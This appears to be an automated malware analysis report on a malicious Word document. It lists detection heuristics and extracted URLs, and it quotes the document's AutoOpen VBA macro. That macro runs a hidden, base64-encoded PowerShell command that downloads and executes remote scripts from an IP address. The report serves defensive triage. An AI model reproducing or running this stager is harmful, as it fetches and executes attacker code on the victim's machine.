Malicious Office (OLE) / .DOC — malware analysis report

Heuristics 16

• ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
• Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
  Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
• VBA macros detected medium 6 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

    Dim Shell As Object

• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

    Set Shell = CreateObject("wscript.shell")

• PowerShell reference in VBA critical OLE_VBA_PS
  PowerShell reference in VBA
  Matched line in script

    Shell.Run "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANgA1AC4AMAAuADEAMwAwAC4AOAAvAGIAeQBwAGEAcwBzAC4AcABzADEAJwApADsAIABJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA2ADUALgAwAC4AMQAzADAALgA4AC8AZQBnAGcALgBwAHMAMQAnACkA"

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

    Set Shell = CreateObject("wscript.shell")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Sub AutoOpen()

• Reference to PowerShell high SC_STR_POWERSHELL
  Reference to PowerShell
• Reference to Windows Script Host high SC_STR_WSCRIPT
  Reference to Windows Script Host
• LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
  Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
• Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
  OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://ns.useplus.org/ldf/xmp/1.0/ In document text (OLE body)

  • http://ns.useplus.org/ldf/vocab/DMI-PROHIBITED-EXCEPTSEARCHENGINEINDEXINGIn document text (OLE body)
  • https://media.istockphoto.com/id/1399588872/vector/corrupted-pixel-file-icon-damage-document-symbol-sign-broken-data-vector.jpg?s=612x612&w=0&k=20&c=ffG6gVLUPfxZkTwjeqdxD67LWd8R1pQTIyIVUi-Igx0=In document text (OLE body)
  • http://ns.adobe.com/xap/1.0/In document text (OLE body)
  • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
  • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
  • http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/In document text (OLE body)
  • http://xmp.gettyimages.com/gift/1.0/In document text (OLE body)
  • http://purl.org/dc/elements/1.1/In document text (OLE body)
  • http://iptc.org/std/Iptc4xmpExt/2008-02-29/In document text (OLE body)
  • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
  • https://www.istockphoto.com/legal/license-agreement?utm_medium=organic&utm_source=google&utm_campaign=iptcurlIn document text (OLE body)
  • https://www.istockphoto.com/photo/license-gm1399588872-?utm_medium=organic&utm_source=google&utm_campaign=iptcurlIn document text (OLE body)
  • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Open this report in the interactive analyzer, or submit your own file for analysis.